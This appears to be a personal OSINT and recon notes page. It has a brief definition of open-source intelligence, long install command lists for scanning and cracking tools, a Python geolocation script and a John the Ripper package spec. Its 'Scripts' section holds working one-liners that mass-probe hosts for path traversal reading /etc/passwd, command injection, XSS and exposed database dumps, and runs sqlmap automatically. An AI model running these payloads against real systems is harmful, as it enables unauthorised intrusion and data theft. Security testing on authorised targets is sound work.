OSINT
Open-source intelligence (OSINT) is the collection and analysis of data gathered from open sources (overt and publicly available sources) to produce actionable intelligence. OSINT is primarily used in national security, law enforcement, and business intelligence functions and is of value to analysts who use non-sensitive intelligence in answering classified, unclassified, or proprietary intelligence requirements across the previous intelligence disciplines.
OSINT sources can be divided up into six different categories of information flow:
- Media, print newspapers, magazines, radio, and television from across and between countries.
- Internet, online publications, blogs, discussion groups, citizen media (i.e. – cell phone videos, and user created content), YouTube, and other social media websites (i.e. Facebook, Twitter, Instagram, etc.). This source also outpaces a variety of other sources due to its timeliness and ease of access.
- Public government data, public government reports, budgets, hearings, telephone directories, press conferences, websites, and speeches. Although this source comes from an official source they are publicly accessible and may be used openly and freely.
- Professional and academic publications, information acquired from journals, conferences, symposia, academic papers, dissertations, and theses.
- Commercial data, commercial imagery, financial and industrial assessments, and databases.
- Grey literature, technical reports, preprints, patents, working papers, business documents, unpublished works, and newsletters.
OSINT is distinguished from research in that it applies the process of intelligence to create tailored knowledge supportive of a specific decision by a specific individual or group.
OSINT Recon
# Installations
sudo dnf install -y nginx iptables certbot python3-certbot-nginx yum-utils
systemctl enable --now nginx
certbot certonly --rsa-key-size 4096 --email kuk@kuk.com --nginx -d lichnak.cz
sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo
sudo dnf install -y docker-ce
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
dnf install -y curl
sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version
curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh" | sudo bash
sudo dnf install -y gitlab-runner
sudo systemctl enable --now gitlab-runner
sudo yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo
sudo dnf -y install vault
vault -version
vault -autocomplete-install
whereis vault
complete -C /usr/bin/vault vault
git clone https://github.com/projectdiscovery/subfinder
cd subfinder/v2
go mod init github.com/projectdiscovery/subfinder
go get -u github.com/projectdiscovery/subfinder
go install github.com/projectdiscovery/subfinder
go build
chmod +x subfinder
mv subfinder /usr/local/bin/
git clone https://github.com/tomnomnom/assetfinder
cd assetfinder
go mod init github.com/tomnomnom/assetfinder
go get -u github.com/tomnomnom/assetfinder
go install github.com/tomnomnom/assetfinder
go build
chmod +x assetfinder
mv assetfinder /usr/local/bin/
git clone https://github.com/projectdiscovery/nuclei.git
cd nuclei/v2/cmd
go mod init github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go get -u github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go build
chmod +x nuclei
mv nuclei /usr/local/bin/
git clone https://github.com/shelld3v/aquatone
cd aquatone
go mod init github.com/shelld3v/aquatone
go get -u github.com/shelld3v/aquatone
go install github.com/shelld3v/aquatone
go build
chmod +x aquatone
mv aquatone /usr/local/bin/
git clone https://github.com/tomnomnom/waybackurls
cd waybackurls/
go install github.com/tomnomnom/waybackurls@latest
go build github.com/tomnomnom/waybackurls
chmod +x waybackurls
mv waybackurls /usr/local/bin/
git clone https://github.com/projectdiscovery/naabu
cd naabu/
go mod init github.com/projectdiscovery/naabu/v2/cmd/naabu
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go get github.com/projectdiscovery/naabu/v2/cmd/naabu
go build github.com/projectdiscovery/naabu/v2/cmd/naabu
chmod +x naabu
mv naabu /usr/local/bin/
git clone https://github.com/tomnomnom/httprobe
cd httprobe/
go install github.com/tomnomnom/httprobe@latest
go build github.com/tomnomnom/httprobe
chmod 755 httprobe
mv httprobe /usr/local/bin/
git clone https://github.com/Virdoexhunter/Bash-scripting-recon.git
git clone https://github.com/0dayCTF/reverse-shell-generator
git clone https://github.com/kkrypt0nn/wordlists
git clone https://github.com/xajkep/wordlists
dnf -y install python3.9 GeoIP-GeoLite-data wget nmap tcpdump
dnf -y install libxslt-devel glibc-devel
dnf -y install cmake gmp-devel gengetopt libpcap flex byacc json-c-devel libunistring
dnf config-manager --set-enabled powertools
dnf --enablerepo=powertools install libunistring-devel libpcap-devel
git clone https://github.com/zmap/zmap.git
cd zmap/
cmake .
make -j4
make install
wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo sh
dnf install gvm -y
sed -i 's/=enforcing/=disabled/' /etc/selinux/config
shutdown –r now
gvm-setup
git clone https://github.com/zricethezav/gitleaks.git
cd gitleaks
make build
git clone https://github.com/Chudry/Xerror
dnf install java-1.8.0-openjdk-devel
curl -sL https://github.com/zaproxy/zaproxy/releases/download/v2.11.1/ZAP_2_11_1_unix.sh -o zaproxy
chmod +x zaproxy
bash -c zaproxy
git clone https://github.com/yandex/gixy
pip install scapy pygeoip gitlab gixy
pip install --pre scapy[complete]
git clone https://github.com/lanmaster53/recon-ng.git
cd recon-ng/
pip3.9 install --no-cache-dir -r REQUIREMENTS
git clone https://github.com/TypeError/domained
cd domained
python3 domained.py --install
sudo pip install -r ./ext/requirements.txt
git clone https://github.com/UnaPibaGeek/ctfr.git
cd ctfr
pip3 install -r requirements.txt
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
mv msfinstall /usr/local/bin/
msfinstall
msfdb init
msfconsole
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python sqlmap.py -h
python sqlmap.py -hh
#!/bin/bash
# Centos 7/8 John the Ripper Installation
#release=(j 1.8.0)
release=(k 1.9.0)
# Check Centos version
if [ -f /etc/redhat-release ] ; then
source /etc/os-release
if [ $VERSION_ID == "8" ] ; then
packager=dnf
elif [ $VERSION_ID == "7" ] ; then
packager=yum
fi
else exit ; fi
sudo ${packager} -y install wget gpgme
sudo ${packager} -y group install "Development Tools"
cd
wget http://www.openwall.com/john/${release[0]}/john-${release[1]}.tar.xz
wget http://www.openwall.com/john/${release[0]}/john-${release[1]}.tar.xz.sign
wget http://www.openwall.com/signatures/openwall-signatures.asc
gpg --import openwall-signatures.asc
gpg --verify john-${release[1]}.tar.xz.sign
tar xvfJ john-${release[1]}.tar.xz
cd john-${release[1]}/src
make clean linux-x86-64
cd ../run/
./john --test
#password dictionary download
wget -O - http://mirrors.kernel.org/openwall/wordlists/all.gz | gunzip -c > openwall.dico
pyenv virtualenv my-project 3.9.6
pyenv local my-project
pip install --upgrade pip
pip install -r requirements-testing.txt
pyenv install 3.9.8
pyenv global 3.9.8
pyenv virtualenv 3.9.8 my-project
poetry new my-project
cd my-project
ls
pyenv local my-project
poetry env use python
poetry add --dev pytest-cov pre-commit flake8 mypy isort
poetry add --dev --allow-prereleases black
poetry shell
code .
echo '.coverage' > .gitignore
echo '.vscode/\n.idea/' >> .gitignore
curl -s https://raw.githubusercontent.com/github/gitignore/master/Python.gitignore >> .gitignore
git init -b main
git add .
git commit -m 'Initial commit'
pre-commit install
pre-commit autoupdate
pre-commit run --all-files
# Scripts
export SHODAN_TOKEN=token
assetfinder --subs-only here.com > hosts.txt
for i in $(cat hosts.txt); do tcpdump -W 2 -C 100 -w $i.pcap host $i &; done
nmap --script default,safe,discovery -p 80,443,8080,8443,9000,9001,9002,9003,8888,8088,8880,3000 -n -T4 -iL hosts.txt -oN output.txt
for i in $(cat hosts.txt); do curl -s "https://api.shodan.io/shodan/host/$i?key=$SHODAN_TOKEN" >> output.txt; done
cat domains.txt | assetfinder -subs-only | httpx -silent -nc -p 80,443,8080,8443,9000,9001,9002,9003,8888,8088,8808 -path "/logs/downloadMainLog?fname=../../../../../../..//etc/passwd" -mr "root:x:" -t 60
cat domains.txt | assetfinder -subs-only | httpx -nc -silent -p 80,443,8080,8443,8088,9000,9001,9002,9003 -path "/../../../../../../../../etc/random/../password" -mr "root:x"
subfinder -dL domains.txt | dnsx | waybackurl | uro | grep "\?" | head -20 | httpx -silent > urls;sqlmap -m urls --batch --random-agent --level 1 | tee sqlmap.txt
cat domains.txt | waybackurls | qsreplace ".%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd" | httpx -silent -nc -mr "root:x:" -t 250
cat domains.txt | assetfinder -only-subs | httpx -nc -silent -t 80 -p 80,443,8443,8080,8088,8888,9000,9001,9002,9003 -path "/app_dev.php/1'%20%22" -mr "An exception occurred"
cat domains.txt | assetfinder -subs-only | naabu -sn -silent -nc -t 80 -p 80,443,8080,8443,8090,9000,9001,9002,9003 | aquatone -out aquatone_screenshots
cat domains.txt | assetfinder -no-subs | waybackurls | grep -Ev "\.(jpeg|jpg|png|ico)$" | uro | grep = | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -c 200 -mr "<img src=x onerror=alert(1)>"
cat domains.txt | assetfinder | httprobe -c 50 --prefer-https -p http:80 http:8080 https:443 https:8443 http:9000 http:9001 http:9002 http:9003 | aquatone -out screenshots -threads 50
cat hosts.txt | httpx -ports 80,443,8080,8443,8090 -path /web-console/ -status-code -title -nc -t 250 -mc 200
subfinder -d here.com | httprobe -c 100 | aquatone -out ~aquatone/target
ffuf -w wordlist.txt -u https://sub.here.com/FUZZ -c -v
seq 1 65535 | ffuf -w - -u https://here.com:FUZZ/
socat tcp-listen:8080,bind=0.0.0.0,reuseaddr,fork tcp:localhost:80
nmap --script default,safe,discovery -p 80,443,8080,8443,9000,9001,9002,9003,8888,8088,8880,3000 -n -T4 -iL hosts.txt -oN output
cat hosts.txt | httpx -nc -t 300 -p 80,443,8080,8443,8888,8088 -path "/jobmanager/logs/..%252f..%252f..%252f......%252f..%252fetc%252fpasswd" -mr "root:x" -silent
curl -s -X POST https://api.mnemonic.no/pdns/v3/search -H 'Content-Type: application/json' --data "{\"query\":\"$1\"}" | jq . | egrep "query" | awk -F: '{print $2 }' | cut -d'"' -f2
cat hosts.txt | httpx -c -silent -path "/wp-content/mysql.sql" -mc 200 -t 250 -p 80,443,8080,8443 | anew myP1s.txt
cat hosts.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent
python asm.py -t here.com -ln -w resources/top100_sublist.txt -o demo_run
find / -type f -printf '%s %p\n' | sort -nr | head -100
find / -type f -iname ".*.*.??????" -ls
find / -type f -exec du -Sh {} + | sort -rh | head -n 50
find / -type f -printf "%s\t%p\n" | sort -n | tail -1
find $HOME -type f -printf '%s %p\n' | sort -nr | head -10
find /var/www/logs -name \*log\* ! -name \*.gz -mtime +1 -exec gzip {};
find /var/www/logs -name \*log\* ! -name \*.gz -mtime +1 -exec gzip {}\; >/dev/null 2>&1
find /var/log -name \*log\* ! -name \*.gz -mtime +1 -exec gzip {}\; >/dev/null 2>&1
find /var/log -name \*log\* ! -name \*.gz -mtime +1 -exec gzip {}\;
find /mnt/backup/vms/ -mtime +10 -exec rm -rf {} \;
find /mnt/backup/vms/ -mtime +10
find /mnt/backup/vms/images -mtime +1
find /mnt/backup/vms/images/* -mtime +5
find /mnt/backup/vms/images/* -type d -mtime -1
find . -type f -name "*.md" -exec sed -i '' 's/wonderful-docs/personal-docs/g' {} +
find . -type f -name "*.md" -exec sed -i '' 's/wonderful-docs/PersonalDocs/g' {} +
find . -type f -name "*.py" -exec grep -n "wonderful-docs" {} +
find . -type f -name "*.py" -exec sed -i '' 's/wonderful-docs/personal-docs/g' {} +
find . -type f -name "*.rst" -exec sed -i '' 's/wonderful-docs/personal-docs/g' {} +
find . -type f -name "Makefile" -exec sed -i '' 's/wonderful-docs/personal-docs/g' {} +
terraform init -backend-config=”backend-dev.config”
terraform plan -var-file="parentvarvalues.tfvars"
terraform apply -var-file="parentvarvalues-team1.tfvars" -auto-approve
terraform init && terraform validate
terraform fmt
terraform plan -out=planned.tfstate
terraform apply planned.tfstate
terraform console
# ~/.bashrc fnc
batchpull ()
{
find $(pwd) -mindepth 1 -maxdepth 1 -type d -print | while read repo; do cd "$repo" && echo "===Sync ... $repo===" && git pull --all && git fetch --all && git reset --hard HEAD; done
}
mkcd ()
{
mkdir -p -- "$1" && cd -P -- "$1"
}
onstartload ()
{
cd ~ && eval $(ssh-agent) && ssh-add && clear
}
# Wordlist
inurl:<COMPANY_NAME> intitle:JIRA
inurl:<COMPANY_NAME> intitle:JIRA
site:*.<HOSTNAME>.com filetype:jspa
site:*.<HOSTNAME>.com ext:jspa
/.git/HEAD
/.git/logs/HEAD
/.import/
/.bashrc
/admin-cgi
/admin-console
/backup/
/console/
/console/login
/h2console
/cgi-bin/admin.cgi
/jmx-console/
/portal/
/portal/login
/syslog/
/web-console
Geolocating IP address
#! /usr/bin/python
import sys
import socket
import urllib
import gzip
import os
try:
import pygeoip
except ImportError:
print '[!] Failed to Import pygeoip'
try:
choice = raw_input('[*] Attempt to Auto-install pygeoip? [y/N] ')
except KeyboardInterrupt:
print '\n[!] User Interrupted Choice'
sys.exit(1)
if choice.strip().lower()[0] == 'y':
print '[*] Attempting to Install pygeoip... ',
sys.stdout.flush()
try:
import pip
pip.main(['install', '-q', 'pygeoip'])
import pygeoip
print '[DONE]'
except Exception:
print '[FAIL]'
sys.exit(1)
elif choice.strip().lower()[0] == 'n':
print '[*] User Denied Auto-install'
sys.exit(1)
else:
print '[!] Invalid Decision'
sys.exit(1)
class Locator(object):
def __init__(self, url=False, ip=False, datfile=False):
self.url = url
self.ip = ip
self.datfile = datfile
self.target = ''
def check_database(self):
if not self.datfile:
self.datfile = '/usr/share/GeoIP/GeoLiteCity.dat'
else:
if not os.path.isfile(self.datfile):
print '[!] Failed to Detect Specified Database'
sys.exit(1)
else:
return
if not os.path.isfile(self.datfile):
print '[!] Default Database Detection Failed'
try:
choice = raw_input('[*] Attempt to Auto-install Database? [y/N] ')
except KeyboardInterrupt:
print '\n[!] User Interrupted Choice'
sys.exit(1)
if choice.strip().lower()[0] == 'y':
print '[*] Attempting to Auto-install Database... ',
sys.stdout.flush()
if not os.path.isdir('/usr/share/GeoIP'):
os.makedirs('/usr/share/GeoIP')
try:
urllib.urlretrieve('http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz', '/usr/share/GeoIP/GeoLiteCity.dat.gz')
except Exception:
print '[FAIL]'
print '[!] Failed to Download Database'
sys.exit(1)
try:
with gzip.open('/usr/share/GeoIP/GeoLiteCity.dat.gz', 'rb') as compressed_dat:
with open('/usr/share/GeoIP/GeoLiteCity.dat', 'wb') as new_dat:
new_dat.write(compressed_dat.read())
except IOError:
print '[FAIL]'
print '[!] Failed to Decompress Database'
sys.exit(1)
os.remove('/usr/share/GeoIP/GeoLiteCity.dat.gz')
print '[DONE]\n'
elif choice.strip().lower()[0] == 'n':
print '[!] User Denied Auto-Install'
sys.exit(1)
else:
print '[!] Invalid Choice'
sys.exit(1)
def query(self):
if not not self.url:
print '[*] Translating %s: ' %(self.url),
sys.stdout.flush()
try:
self.target += socket.gethostbyname(self.url)
print self.target
except Exception:
print '\n[!] Failed to Resolve URL'
return
else:
self.target += self.ip
try:
print '[*] Querying for Records of %s...\n' %(self.target)
query_obj = pygeoip.GeoIP(self.datfile)
for key, val in query_obj.record_by_addr(self.target).items():
print '%s: %s' %(key, val)
print '\n[*] Query Complete!'
except Exception:
print '\n[!] Failed to Retrieve Records'
return
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='IP Geolocation Tool')
parser.add_argument('--url', help='Locate an IP based on a URL', action='store', default=False, dest='url')
parser.add_argument('-t', '--target', help='Locate the specified IP', action='store', default=False, dest='ip')
parser.add_argument('--dat', help='Custom database filepath', action='store', default=False, dest='datfile')
args = parser.parse_args()
if ((not not args.url) and (not not args.ip)) or ((not args.url) and (not args.ip)):
parser.error('invalid target specification')
try:
locate = Locator(url=args.url, ip=args.ip, datfile=args.datfile)
locate.check_database()
locate.query()
except Exception:
print '\n[!] An Unknown Error Occured'
Spiderfoot
https://lichnak.cz/dropdown/projects_spiderfoot.html
John The Ripper
%global extra_date 20220925
Summary: John the Ripper password cracker
Name: john
Version: 1.9.0
Release: 6%{?dist}
URL: http://www.openwall.com/john
License: GPLv2
Group: Applications/System
Source0: http://www.openwall.com/john/j/john-%{version}.tar.xz
Source1: http://www.openwall.com/john/j/john-%{version}.tar.xz.sign
Source2: http://www.openwall.com/john/j/john-extra-%{extra_date}.tar.xz
Source3: http://www.openwall.com/john/j/john-extra-%{extra_date}.tar.xz.sign
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
%description
John the Ripper is a fast password cracker. Its primary purpose is to
detect weak Unix passwords, but a number of other hash types are
supported as well.
%prep
%setup -q
#%patch2 -p0 -b .jumbo
chmod 0644 doc/*
sed -i 's#\$JOHN/john.conf#%{_sysconfdir}/john.conf#' src/params.h
cp -a src src-mmx
tar --strip-components 1 --directory run -xf "%{SOURCE2}"
%build
%global target_non_mmx generic
%ifarch %{ix86}
%global target_non_mmx linux-x86-any
%global target_mmx linux-x86-mmx
%endif
%ifarch x86_64
%global target_non_mmx linux-x86-64
%endif
%ifarch ppc
%global target_non_mmx linux-ppc32
%endif
%ifarch ppc64
%global target_non_mmx linux-ppc64
%endif
export CFLAGS="-c ${RPM_OPT_FLAGS} -DJOHN_SYSTEMWIDE=1"
make -C src %{target_non_mmx} CFLAGS="${CFLAGS}" LDFLAGS="${RPM_OPT_FLAGS}"
%if 0%{?target_mmx:1}
mv run/john run/john-non-mmx
CFLAGS="${CFLAGS} -DCPU_FALLBACK=1"
LDFLAGS="${CFLAGS}"
make -C src-mmx %{target_mmx} CFLAGS="${CFLAGS}" LDFLAGS=""
%endif
%install
rm -rf %{buildroot}
install -d -m 755 %{buildroot}%{_sysconfdir}
install -d -m 755 %{buildroot}%{_bindir}
install -d -m 755 %{buildroot}%{_datadir}/john
install -m 755 run/{john,mailer} %{buildroot}%{_bindir}
install -m 644 run/{*.chr,password.lst} %{buildroot}%{_datadir}/john
install -m 644 run/john.conf %{buildroot}%{_sysconfdir}
%if 0%{?target_mmx:1}
install -d -m 755 %{buildroot}%{_libexecdir}/john
install -m 755 run/john-non-mmx %{buildroot}%{_libexecdir}/john/
%endif
pushd %{buildroot}%{_bindir}
ln -s john unafs
ln -s john unique
ln -s john unshadow
popd
rm doc/INSTALL
%clean
rm -rf %{buildroot}
%files
%defattr(-,root,root,-)
%doc doc/*
%config(noreplace) %{_sysconfdir}/john.conf
%{_bindir}/john
%{_bindir}/mailer
%{_bindir}/unafs
%{_bindir}/unique
%{_bindir}/unshadow
%{_datadir}/john/
%if 0%{?target_mmx:1}
%{_libexecdir}/john/
%endif
